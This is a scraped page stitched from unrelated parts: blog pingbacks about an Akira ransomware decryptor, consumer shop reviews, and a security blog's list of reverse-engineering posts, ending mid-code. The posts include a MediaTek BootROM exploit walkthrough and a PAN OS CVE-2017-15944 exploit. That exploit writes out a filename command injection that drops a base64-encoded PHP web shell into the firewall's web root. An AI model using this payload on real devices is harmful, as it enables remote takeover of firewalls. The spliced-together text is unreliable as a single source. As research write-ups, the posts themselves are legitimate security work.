GPU in about ten hours - New encryption at counterattack - Top4All Pingback: Akira ransomware can be cracked with sixteen RTX 4090 GPUs in around ten hours — new counterattack breaks encryption – Mist Vista Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - The TechBriefs Pingback: ⚡ THN Weekly Recap: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More - Shackle Media Pingback: Щотижневий підсумок THN - Oksim Pingback: Router Hacks, PyPI Assaults, New Ransomware Decryptor, and Extra - techlinkway Pingback: Pesquisador cria ferramenta contra ransomware Akira - CISO Advisor Pingback: Akira ransomware decryption method uses GPUs to brute force keys - theinfosecnews.com Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs – TriaLabs Pingback: GPU Power Unleashed: Decrypting Akira Ransomware with Brute Force - Daily Information Security Mark A says: March 18, 2025 at 4:50 am I am not a programmer. I do not code. And, thankfully, I don’t have any issues with ransomware. But I found a link to this blog and just read it out of curiosity. Amazing skill and effort. Fascinating work and good job. Reply Pingback: Developer breaks Akira ransomware encryption in hours using cloud GPUs – Sortiwa Portal Pingback: Розробник зламує шифрування програми-вимагача Akira за кілька годин за допомогою хмарних графічних процесорів - Oksim Pingback: 開發人員利用雲端GPU在數小時內破解了Akira勒索軟體的加密程序 – WONGCW 網誌 Pingback: GPUパワーでランサムウェア「Akira」を撃退：研究者が解読法を開発、10時間で暗号を解除 | XenoSpectrum Pingback: Innowacyjna metoda odszyfrowywania danych po ataku ransomware Akira - Kapitan Hack Pingback: GPU-powered Akira ransomware decryptor released on GitHub - Geek Feed Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days | Arcader News Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Gamer Fridge Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Lokie.net Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Virtunist Pingback: A single RTX 4090 managed to brute force crack an Akira ransomware attack in just 7 days – Prefer systems Pingback: Um único RTX 4090 conseguiu uma força bruta crack um ataque de ransomware de Akira em apenas 7 dias - ferreiradozezere.net Pingback: An RTX 4090 successfully decrypted an Akira ransomware attack through brute force in just one week. – Games News Hub Pingback: Router Hacks, PyPI Attacks, New Ransomware Decryptor, and More | techeology.com Pingback: This Week in Security: The Github Supply Chain Attack, Ransomware Decryption, and Paragon – Mist Vista Pingback: This Week in Security: The Github Supply Chain Attack, Ransomware Decryption, and Paragon – The Latest News! Pingback: This Week in Security: The Github Supply Chain Attack, Ransomware Decryption, and Paragon | 3d print ......errori ed esperienze, Pingback: Carta semanal de CERT-SE V.12-CERT-SE - BEQUO Pingback: Security Affairs newsletter Round 516 by Pierluigi Paganini – INTERNATIONAL EDITION – ITSecurityNewsBox Pingback: SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 38 – ITSecurityNewsBox Pingback: Security Affairs newsletter Round 516 by Pierluigi Paganini – INTERNATIONAL EDITION – Security.info Pingback: Security Affairs newsletter Round 516 by Pierluigi Paganini – INTERNATIONAL EDITION - Source: securityaffairs.com - CISO2CISO.COM & CYBER SECURITY GROUP Pingback: New Akira ransomware decryptor cracks encryptions keys using GPUs - Protecting Your Digital Future Pingback: Un chercheur brise le ransomware Akira Javier says: June 17, 2025 at 9:26 am Amazing post, I believed that your code could be use in a windows version that I’m analyzing. Has the same nettle library incrusted but without log messages to identify it easily Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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Take a look Recent reviews Michelle Mc Culloch I have worn Jo Malone perfumes for many, many years but was retrenched and so couldn't afford the R4,000.00 plus price tag on these wonderful fragrances. So I tried Scentimental. I ordered in December, missing the cut-off for December deliveries, which was fine. I ordered the Wood Sage & Sea Salt and the Cypress & Grapevine which are two of my favourite, in the travel size so that I could assess the quality before buying something bigger. They arrived via bike messenger on the 6th January 2026 on a very hot day (30 degrees). I was immediately concerned as extreme temperatures affect perfume and it would have been considerably hotter in the dark grey/black plastic box on the back of the bike. Heat accelerates the breakdown of the chemical bonds, it evaporates faster, it alters the scent and can physically damage the bottle, lid etc due to expansion. I took delivery and immediately opened the two travel size bottles. The Wood Sage and Sea Salt's lid had expanded so much that I had to really pull to get the lid off. Due to the expansion caused by the 40 to over 50 degree heat in the black plastic box they were transported in. The perfume had been leaking of course and to my surprise, smelled sweet. Wood Sage and Sea Salt is not a sweet perfume. I then tried the Cypress and Grapevine and the lid came off with the atomiser wedged inside and spilled onto my kitchen counter. The lid also did not screw int place securely. It also did not smell like the original either having a very cheap smell that was not like the original either. I immediately sent an email to sales. And waited. And then asked for a reply two days later and hot a reply from Shivani who told me to take the atomiser out using needle nose pliers to dislodge the atomiser and then reattach it securely by screwing it back in place. Shivani didn't bother to read my email where I state that the lid did not screw into place. She then told me that I had a store credit for future purchases. WHAT?! I replied that I would like them to come and collect both fragrances and wanted my money back after expressing surprise that a company would tell a client to use a pair of pliers to wrangle the atomiser out of the lid of their defective product. I again had to ask for a response. This was her response and I have copied and pasted it: 'If you wish to not use the product, you're welcome to throw it away.' I again advised that I wanted them to reimburse me as per their 7 day money back guarantee and to date, I have heard nothing back. Do not use this company. They don't honour their purchasing guarantees and the JoMalone perfumes smell nothing like the originals. They also requested that this exact review be removed off of Hello Peter. Scentimental SA scentimental.co.za Phil Updated Review: Well I have to hand it to them, Huckberry responded and issued me with a refund on the items that seem to have been lost in transit. I thus have to update my original 1 star to 4 stars because the quality of the items I have previously bought is very good. And their response to my complaint was good and without unnecessary burden to me. I will thus try purchasing from them again. I have deducted 1 star because their choice of shipping partner for international orders, Passport Global, is not very helpful. Frustrating to deal with, template responses. Original Review: Made one purchase that went smoothly. Based on this I went and made two more purchases - a significant amount of money. My parcels havehave been stuck in Customs for a week and counting. I was charged and paid import duties and taxes at checkout. I tried to get a hold of Huckberry and their shipping provider Passport Global. All I get is AI chatbot telling me something is wrong for the items to be in Customs for so long, but no actual human support. WTF??? Huckberry huckberry.com Deanna Byrd We have been loyal customers of FAHLO for a few years now. Recently we had an experience where our package with our new bracelets arrived without the cards with the codes to share among our family. My son and I love being able to bond over tracking the animals and learning about them together, especially when things get busy with school and work, so this was a disappointment. When I reached out to customer support, they immediately looked into the issue we had and promptly sent the codes so we could successfully share them on our devices. It was the friendliest, kindest, and most supportive customer service experience I have had in a long time from a company. They truly care about their customers. If you are on the fence about joining the FAHLO family, don’t hesitate. They support you every step of the way and truly appreciate your business! Fahlo myfahlo.com lyndsey telfer Product is good. However I was mis- sold by stating my console would arrive before Christmas. Received some further email promotion encouraging me to purchase more items that would arrive in time for Christmas. I emailed the company about the delay in receiving the console and accessories. I received on this occasion a response stating the issue is with the courier, I replied highlighting that the delivery contract infact remains between the seller and courier and I'd like compensation as I've had to buy and spend money on an alternative gift for my nephew. I have had no response, despite sending follow up emails to prompt them. The item was received much after Christmas. Very bad customer experience. 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https://tinyhack.com/category/hacks/ | hacks – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Category: hacks Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. Continue reading “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 Comments on Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Continue reading “Using U-Boot to extract Boot Image from Pritom P7” Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 Comments on Using U-Boot to extract Boot Image from Pritom P7 When you deleted /lib on Linux while still connected via ssh Let’s first not talk about why this can happen, but deleting /lib , /usr/lib , or some other essential runtime files happens quite a lot (as you can see: here , here , here , and here ). In this post, I will only discuss what happens when you delete /lib on Linux and how to recover from that. The easy solution for everything is to replace the missing files, but this can be difficult if /lib is deleted because we won’t have ld-linux , which is needed to run any dynamic executable. When you deleted /lib , all non-static executable (such as ls , cat , etc , will output): No such file or directory You will also be unable to open any new connection using ssh, or open a new tmux window/pane if you are using tmux. So you can only rely on your current shell built in, and some static executables that you have on the system. If you have a static busybox installed, then it can be your rescue. You can use wget from busybox to download libraries from a clean system. For your information: Debian has busybox installed by default, but the default is not the static version. Minimal Debian install If you are worried that this kind of problem might happen to you in the future: Install the static version of the busybox binary, and confirm that it is the correct version. Installing static busybox Continue reading “When you deleted /lib on Linux while still connected via ssh” Author admin Posted on September 16, 2022 September 16, 2022 Categories debian , hacks , linux 1 Comment on When you deleted /lib on Linux while still connected via ssh Dissecting a MediaTek BootROM exploit A bricked Xiaomi phone led me to discover a project in Github that uses a MediaTek BootROM exploit that was undocumented. The exploit was found by Xyz , and implemented by Chaosmaster . The initial exploit was already available for quite a while . Since I have managed to revive my phone, I am documenting my journey to revive it and also explains how the exploit works. This exploit allows unsigned code execution, which in turn allows us to read/write any data from our phone. For professionals: you can just skip to how the BootROM exploit works (spoiler: it is very simple). This guide will try to guide beginners so they can add support for their own phones. I want to show everything but it will violate MediaTek copyright, so I will only snippets of decompilation of the boot ROM. Bricking my Phone and understanding SP Flash Tool I like to use Xiaomi phones because it’s relatively cheap, has an easy way to unlock the bootloader, and the phone is easy to find here in Thailand. With an unlocked bootloader, I have never got into an unrecoverable boot loop, because I can usually boot into fastboot mode and just reflash with the original ROM. I usually buy a phone with Qualcomm SOC, but this time I bought Redmi 10X Pro 5G with MediaTek SOC (MT6873 also known as Dimensity 800). But it turns out: you can get bricked without the possibility to enter fastboot mode. A few years ago, it was easy to reflash a Mediatek phone: enter BROM mode (usually by holding the volume up button and plugging the USB when the phone is off), and use SP Flash Tool to overwrite everything (including boot/recovery partition). It works this way: we enter BROM mode, the SP Flash Tool will upload DA (download agent) to the phone, and SP Flash Tool will communicate with the DA to perform actions (erase flash, format data, write data, etc). But they have added more security now: when I tried flashing my phone, it displays an authentication dialog. It turns out that this is not your ordinary Mi Account dialog, but you need to be an Authorized Mi Account holder (usually from a service center). It turns out that just flashing a Mediatek phone may enter a boot loop without the possibility of entering fastboot mode. Quoting from an XDA article : The developers who have been developing for the Redmi Note 8 Pro have found that the device tends to get bricked for a fair few reasons. Some have had their phone bricked when they were flashing to the recovery partition from within the recovery, while others have found that installing a stock ROM through fastboot on an unlocked bootloader also bricks the device Xiaomi needs a better way to unbrick its devices instead of Authorized Mi Accounts I found one of the ROM modders that had to deal with a shady person on the Internet using remote Team Viewer to revive his phone. He has some explanation about the MTK BootROM security. To summarize: BROM can have SLA (Serial Link Authorization), DAA (Download Agent Authorization), or both. SLA prevents loading DA if we are not authorized. And DA can present another type of authentication. Using custom DA, we can bypass the DA security, assuming we can bypass SLA to allow loading the DA. When I read those article I decided to give up. I was ready to let go of my data. MTK Bypass By a stroke of luck, I found a bypass for various MTK devices was published just two days after I bricked my Phone. Unfortunately: MT6873 is not yet supported. To support a device, you just need to edit one file ( device.c ), which contains some addresses. Some of these addresses can be found from external sources (such as from the published Linux kernel for that SOC), but most can’t be found without access to the BootROM itself. I tried reading as much as possible about the BROM protocol. Some of the documentation that I found: MediaTek details: SoC startup : has a link to BROM documentation Support for Mediatek Devices in Oxygen Forensic® Detective (Explains about BROM protection) Another luck came in a few days later: Chaosmaster published a generic payload to dump the BootROM. I got lucky: the generic payload works immediately on the first try on my phone and I got my Boot ROM dump. Now we need to figure out what addresses to fill in. At this point, I don’t have another ROM to compare, so I need to be clever in figuring out these addresses. We need to find the following: send_usb_response usbdl_put_dword usbdl_put_data usbdl_get_data uart_reg0 uart_reg1 sla_passed skip_auth_1 skip_auth_2 From the main file that uses those addresses we can see that: uart_reg0 and uart_reg1 are required for proper handshake to work. These addresses can be found on public Linux kernel sources. usbdl_put_dword and usbdl_put_data is used to send data to our computer usbdl_get_data is used to read data from computer sla_passed , skip_auth_1 and skip_auth_2 , are the main variables that we need to overwrite so we can bypass the authentication We can start disassembling the firmware that we obtain fro the generic dumper. We need to load this to address 0x0. Not many strings are available to cross-reference so we need to get creative. Somehow generic_dump_payload can find the address for usb_put_data to send dumped bytes to the Python script. How does it know that? The source for generic_dump_payload is is available in ChaosMaster’s repository . But I didn’t find that information sooner so I just disassembled the file. This is a small binary, so we can reverse engineer it easily using binary ninja. It turns out that it does some pattern matching to find the prolog of the function: 2d e9 f8 4f 80 46 8a 46 . Actually, it searches for the second function that has that prolog. Pattern finder in generic_dump_payload Now that we find the send_word function we can see how sending works. It turns out that it sends a 32-bit value by sending it one byte at a time. Note: I tried continuing with Binary Ninja, but it was not easy to find cross-references to memory addresses on a raw binary, so I switched to Ghidra. After cleaning up the code a bit, it will look something like this: What generic_dump_payload found Now we just need to find the reference to function_pointers and we can find the real address for sendbyte . By looking at related functions I was able to find the addresses for: usbdl_put_dword , usbdl_put_data , usbdl_get_data . Note that the exploit can be simplified a bit, by replacing usbdl_put_dword by a call to usbdl_put_data so we get 1 less address to worry about. The hardest part for me was to find send_usb_response to prevent a timeout. From the main file , I know that it takes 3 numeric parameters (not pointers), and this must be called somewhere before we send data via USB. This narrows it down quite a lot and I can find the correct function. Now to the global variables: sla_passed , skip_auth_1 , and skip_auth_2 . When we look at the main exploit in Python, one of the first things that it does is to read the status of the current configuration. This is done by doing a handshake then retrieve the target config . Target config There must be a big “switch” statement in the boot ROM that handles all of these commands. We can find the handshake bytes ( A0 0A 50 05 ) to find the reference to the handshake routine (actually found two of them, one for USB and one for UART). From there we can find the reference to the big switch statement. The handshake You should be able to find something like this: after handshake it starts to handle commands And the big switch should be clearly visible. Switch to handle various commands Now that we found the switch, we can find the handler for command 0xd8 (get target config). Notice in python, the code is like this : Notice the bit mask By looking at the bitmask, we can conclude the name of the functions that construct the value of the config. E.g: we can name the function that sets the secure boot to is bit_is_secure_boot . Knowing this, we can inspect each bit_is_sla and bit_is_daa we can name the functions from the bit that it sets For SLA: we need to find cross-references that call bit_is_sla , and we can see that another variable is always consulted. If SLA is not set, or SLA is already passed, we are allowed to perform the next action. finding sla_passed Now we need to find two more variables for passing DAA. Looking at bit_is_daa , we found that at the end of this function, it calls a routine that checks if we have passed it. These are the last two variables that we are looking for. How the BootROM Exploit Works The exploit turns out very simple. We are allowed to upload data to a certain memory space The handler for USB control transfer blindly index a function pointer table Basically it something like this: handler_array[value*13](); But there are actually some problems: The value for this array is unknown, but we know that most devices will have 0x100a00 as one of the elements We can brute force the value for USB control transfer to invoke the payload We may also need to experiment with different addresses (since not all device has 0x100a00 as an element that can be used) Another payload is also provided to just restart the device. This will make it easy to find the correct address and control value. Closing Remarks Although I was very upset when my phone got bricked, the experience in solving this problem has been very exciting. Thank you to Xyz for finding this exploit, and ChaosMaster for implementing it, simplifying it, and also for answering my questions and reviewing this post. Author admin Posted on January 31, 2021 March 7, 2021 Categories hacks , hardware , reverse-engineering , security , writeup 18 Comments on Dissecting a MediaTek BootROM exploit Reverse Engineering Pokémon GO Plus Part 2: OTA Signature Bypass It has been almost 6 months since I published my Pokemon Go Plus finding and so far no one has published their Pokemon Go Plus Key. One of the reason is the difficulty in extracting the key from OTP (one time programmable) memory that requires precision soldering. Few weeks after I wrote my article, I posted an idea to /r/pokemongodev to extract a Pokemon Go Plus key using over the air (OTA) update . The idea was based on two things: We can flash any image using SPI Flasher, and there is no signature check, we just need a correct checksum. The SPI flash contains two copies of the same firmware (there are 2 firmware banks). This is important for OTA: in case the firmware was not transferred correctly, the bootloader (located in OTP) will boot the other valid firmware And the plan was this: Create our new custom firmware Flash the new firmware to the Pokemon Go Plus over the air to Bank 1. At this point there will be two firmware: our firmware and the pokemon go plus firmware Extract the key via BLE (Bluetooth Low Energy) using the new firmware Restore the original firmware by sending a special request to the new firmware. This is done by reading the original firmware on bank 2 and overwriting our firmware in Bank 1. The plan Unfortunately, I don’t have time to implement it. I don’t have DA14580 development board so I won’t be able to debug it properly via JTAG. I don’t feel like buying 40 USD for a board that I will only use for this project. I got about 30 USD in donations which I use to buy another Pokemon Go Plus clone, it has the same Bluetooth MAC address. (Note that money wasn’t really the problem, I just like to spend it on something that I like, for example, I just recently bought Nvidia Jetson Nano and a Stereo Microscope) Two months ago a Reddit user jesus-bamford contacted me, mentioning that he will implement the idea I proposed. Everything seems to work according to plan: He can create a firmware that can extract the key from OTP He can write his firmware using SPI flasher He can send his firmware over the air (using Android App provided by Dialog Semiconductor) But this is where the good news ends: if the firmware is written using OTA, it won’t boot. The bootloader thinks the firmware is invalid and it will boot the original copy of the Pokemon Go Plus firmware. He found out that there is an extra check in the Software Update that was added, that is not in the source code provided in the DA14580 SDK. But he can’t figure out what is the check or how to bypass it. During the Songkran Holiday in Thailand, I have some free time so I tried to reverse engineer the boot loader. He is right, there is an extra check added: When the update process is started, a flag is set to indicate that this firmware image is not yet valid. In case of a failed update, the bootloader can bot the other valid firmware. During this process, an SHA256 hash is initialized For every incoming data that is written to SPI flash, the hash is updated At the end of the update, a signature check is performed based on the SHA256 AND some data from OTP. If everything is valid, then the firmware image is set to valid. I didn’t go into detail on the signature check algorithm, I know it uses big number computations, probably RSA but I didn’t verify it. I also don’t feel that I will find a bug there. What’s important is what happens next: if the signature is valid then a flag is set to indicate that the image is valid. So to be clear: If we modify a firmware using SPI flasher, we just overwrite existing firmware and the valid flag is kept on If we modify a firmware using OTA, we need it to be set as valid at the end of the update process I know one thing for sure: the update process also requires a specific key from the OTP area. So if there was ever going to be an update from Niantic, that update requires a connection to their server to get a special key from them. So let’s go back and see if there is another way to set the image to be valid. This is the original source code inside app_spotar_img_hdlr.c in the DA14580 SDK: The compiled binary has an extra call to update the SHA256, but its not important for now. Lets focus on just this one line: ret = spi_flash_write_data (spota_all_pd, (spota_state.mem_base_add + spota_state.suota_img_idx), spota_state.suota_block_idx); The variable spota_all_pd contains data sent from the updater app. The second parameter specifies where to write the data (the address in SPI block) and the third parameter is the size. Visually, we can see that mem_base_add points to the beginning address in the SPI flash, and suota_img_idx points to the current block. When the write is succesful we increment the address through: spota_state.suota_img_idx += spota_state.suota_block_idx; It seems to be fine. I looked for possible buffer overflows for code execution and I couldn’t find one. But what if we can modify spota_state.mem_base_add then we will be able to write anywhere in the SPI flash, including in the image valid flag. I found a function called: app_spotar_read_mem which is supposed to be called after we finished writing all of the data. This is also where the final check is performed before writing, This code is very strange: instead of using a temporary variable it uses: spota_state.mem_base_add to store a temporary value to be used for setting spota_state.suota_image_bank . When spota_state.mem_base_add is greater than 2 this function will fail. And this is exactly what we need: a way to modify mem_base_add . So what we need to do is: Send data via OTA as usual, and this will be written to SPI as expected Before sending the last part of the data, send a request such that app_spotar_read_mem is called, and set the mem_base_add to the beginning of our firmware header, where the valid flag is Send the last part of the data, which will overwrite the firmware header. This last data is the header that we want Moving mem_base_add up And that’s the idea. Jesus-bamford did a great job implementing this idea and I was so happy that it works. Here is his software in action. The firmware is already open source at: https://github.com/Jesus805/PGP_Suota But the updater is not yet ready for release. He is currently reimplementing the OTA software for Android because his current code is based on the SDK code. When he is finished, anyone should be able to extract their Pokemon Go Plus key without opening it. I know that I should probably wait until his work is finished before publishing this, but I am also hoping that others can help him. May be implement the update for different iOS, or start working on implementation of Pokemon Go Plus for other devices. It might also be possible to implement the Pokemon Go Plus using EdXposed (this is a fork of XPosed that works with Pokemon Go) or by adding a library to the iOS version that intercepts the BLE API calls. Author admin Posted on May 1, 2019 March 7, 2021 Categories hacks , hardware , reverse-engineering , security , writeup Leave a comment on Reverse Engineering Pokémon GO Plus Part 2: OTA Signature Bypass An alternative way to exploit CVE-2017-15944 on PAN OS 6.1.0 On the beginning of 2018 during a pentest work, I found a firewall that has that should be exploitable using the bug CVE-2017-15944 , but somehow the exploits I found doesn’t work on the last step: we never got the code to be executed by cron. In the end I found out the reason: It turns out there was an attacker already connected to the target that halts the cron script execution so other attackers won’t be able to execute the same attack. I will explain an alternative cron script that can be used for exploitation in the presence of another attacker. This exploit has been verified to work on PAN OS 6.1.0, but may work on other versions too (I don’t have other devices or firmware image to check this). I will not explain in detail how the original exploit works, there is a lot of explanation that you can already read in the web (for example this Russian article is very good, you can use Google Translate to read it in English). I have verified that the auth bypass and file creation works on my target before continuing. On the final step of the exploit, all the articles and exploits that I read will use genidex .sh script. The problem with this is: this script will check if another instance of it is still running, and if it is, then it will just exit, preventing us from performing an attack when another attacker is still connected. On PAN OS 6.1.0 (the only version that I can verify that it works) there is another script called core_compress, which is a python script. Just like genindex .sh, this script is also executed every 15 minutes as root. This script searches for the following directories: Then it compresses the *.core files on those directories using “tar” The problem is: the file names are not escaped So the exploit is quite simple: make a simple PHP payload: echo <?php system($_GET["c"]);?>|base64 # PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg== and write it to a file (for example /var/appweb/htdocs/api/j.php). This can be done by creating a file that will be executed like this: echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >/var/appweb/htdocs/api/j.php We need to have that string as a filename, but we can’t have a slash (/) in a filename on Linux, so we need to escape this. My method is to use ${PATH:0:1}, using the fact the $PATH variable always has a slash as the first character. The final exploit is just to create a file (using the same bug as the other exploit) with the following name: /var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}j.php).core Of course it would a better Idea to start from last path ( /opt/ lpfs /var/cores) to first (/var/cores) when constructing an exploit, so if the last one failed we can try with the next path. So that’s all. In maybe 90% of cases most exploit will work out of the box, but sometimes you need to really understand what it does and fix it or find a workaround for a case like this. As a note: I have verified that on latest PAN OS , they fixed a lot of things including this cron script (but I don’t know in which particular version this bug was fixed). Author admin Posted on January 10, 2019 January 10, 2019 Categories hacks , security , writeup Leave a comment on An alternative way to exploit CVE-2017-15944 on PAN OS 6.1.0 Raspberry Pi as Alphasmart Dana Access Point and File Share Alphasmart Dana is a Palm OS device with a keyboard form factor that is still popular among writers. One of the Alphasmart Dana version has a wireless capability, but it only supports WEP 40/128 bit. WEP has a very weak security and is not supposed to be used anymore. Alphasmart Dana also supports SAMBA file share but it only supports SMB1 (which is also considered insecure). Since Alphasmart Dana was made on 2002 and the last software update was 2005, there is no hope for WPA upgrade or newer SMB protocol. To be able to easily transfer files from/to Alphasmart Dana, I made a special WEP access point with my Raspberry Pi 2 that works on a separate subnet. I use a cheap RT5370 USB WIFI for the access point and ethernet cable to connect to my local network. In my opinion, this will not be 100% secure but It is enough for my need. It is much better than changing your home WIFI encryption to WEP (which will make everything insecure). The dongle that I use is very small and the range is only a few meters away, this already helps with security since it will not be accessible outside my house (but a very determined person with the right equipment may still be able to communicate with it). I gave Alphasmart Dana a separate subnet (172.17.x.x) different from my local network (192.168.x.x) and I did not set it up to forward connections between this two subnets (by default it won’t). For the file share, I set up one Samba public share to transfer files from/to my Dana. This share is only accessible through the subnet obtained from WEP access point. In the very worst case, if someone can get in, they can steal my files in that share. But since I am not working on anything secret (mostly just my draft for my blog posts), I am willing to accept the risk. I gave this long explanation about security in case someone wants to make a portable set up out of this guide. If you bring your access point to a coffee shop, someone can break the encryption in a very short time and steal your next best-selling novel. I repeat that my setup is only for my desktop which is only reachable from my bedroom (and I live in a house which is quite far from my neighbors), and I don’t work on important documents. Access Point First, we need to setup the static IP address for the wlan0, I choose 172.17.1.1. To do this, create /etc/network/interfaces/wlan0 . auto wlan0 iface wlan0 inet static address 172.17.1.1 Then we need to setup DHCP server that will hand out IPs automatically. If you need more security, you can also setup static IP with secret IP address (this is just another layer of obfuscation). I have several Dana in my house (my Wife’s and Children’s). For DHCP server, I use dnsmasq because it is very simple. Install dnsmasq: sudo apt-get install -y dnsmasq This is what you need to add in /etc/dnsmasq.conf: dhcp-range=172.17.1.10,172.17.1.250,12h For the access point part, I use hostapd. Create /etc/hostapd/hostapd.conf with the following content. The encryption can be 40 bits (5 characters) or 128 bits (16 characters). interface=wlan0 ssid=dana hw_mode=g channel=6 macaddr_acl=0 auth_algs=3 wep_default_key=0 wep_key0="AAAAA" driver=nl80211 And also set the path to the config in: /etc/default/hostapd DAEMON_CONF="/etc/hostapd/hostapd.conf" We also need to disable wpa_supplicant (you may need to restart or kill the wpa_supplicant process if it was already started): sudo systemctl mask wpa_supplicant.service Now we can test this configuration by trying to connect using WiStat from Dana. If you can connect, the first part is complete. But you can’t access any file yet. File Share To set up file share, install samba: sudo apt-get install samba Edit /etc/samba/smb.conf inside the “[global]” section add: [global] lanman auth = Yes client lanman auth = Yes client plaintext auth = Yes server min protocol = NT1 And to set up a public directory which will be readable/writable by everyone (the name of this share is “dana”, change it as you like): [dana] path = /dana writeable = yes browseable = yes public = yes guest ok = yes read list = "nobody","@allaccount", write list = "nobody","@allaccount" Now you should be able to save/load file from Alphaword to the share, or view the share using WiFile. DropBox I will not write a specific instruction for this, you can read this guide on Raspberry Pi website on how to upload your files to Dropbox. I use a cron script that will upload the content of *.txt files to Dropbox. Note that the 172.17.x.x subnet cannot access the internet, but the wired network 192.168.x.x can access the Internet. So my current workflow is this: I write something on my Dana, and when I reach home, I save the file to the share. In a few minutes, the files are uploaded to Dropbox. Dropbox has a file history feature which is quite useful. Of course, you don’t have to use Dropbox, you can use also use git to have a remote backup with file history. One step that I wish I could do is: send all my work with a single click. For now, I need to send one file at a time. I hope this guide will be useful to anyone still using Dana (wireless version). Author admin Posted on May 27, 2018 December 26, 2020 Categories hacks , misc , raspberry 1 Comment on Raspberry Pi as Alphasmart Dana Access Point and File Share Teensy LC U2F key Around beginning of last month, GitHub users can buy a special edition U2F security keys for 5 USD (5000 keys were available) , and I got two of them. Universal 2nd Factor (U2F) is an open authentication standard that strengthens and simplifies two-factor authentication using specialized USB or NFC devices. A U2F USB key is a second factor authentication device so it doesn’t replace our password. To login to a website, we need to enter our username and password, AND the U2F USB key. To check for user presence (to prevent malware from accessing the key without user consent), the device usually has a button that needs to be pressed when logging in. Currently Google (Gmail, Google Drive, etc), Github, and Dropbox supports U2F devices, and we can also add support to our own site or apps using plugins or accessing the API directly (plugin for WordPress is available). After receiving the keys, I got curious and started to read the U2F specifications . The protocol is quite simple, but so far I haven’t been able to find an implementation of a U2F key device using existing microcontrollers (Arduino or anything else). The U2F protocol uses ECC signing and I found that there is already a small ECC library for AVR and ARM ( micro-ecc ). It supports ECDSA with P-256 curve required by U2F. A U2F device is actually just a USB HID Device, so I will need something that I can easily program as an HID device. The easiest device to program that I have is Teensy LC. I tested compiling the micro-ecc library, and found out that it results in about 15 kilobytes of code, so Teensy LC should be OK (it has 64 kbyte flash, and 8KB of RAM). Teensy LC is also very small, it’s ideal if someday I want to put a case around it. I can’t find an easy way to add new USB device using Teensyduino, so I decided to just patch the usb_desc.h, the only changes needed was to change the RAWHID_USAGE_PAGE to 0xf1d0 and RAWHID_USAGE to 0x01. I changed the PRODUCT_NAME to “Teensyduino U2FHID” just to make it easy to check that this works. The nice thing is: this doesn’t break anything (all code using RawHID would still run with this changes), and we can still see our code output using the virtual serial port provided by Teensyduino. #elif defined(USB_RAWHID) #define VENDOR_ID 0x16C0 #define PRODUCT_ID 0x0486 // #define 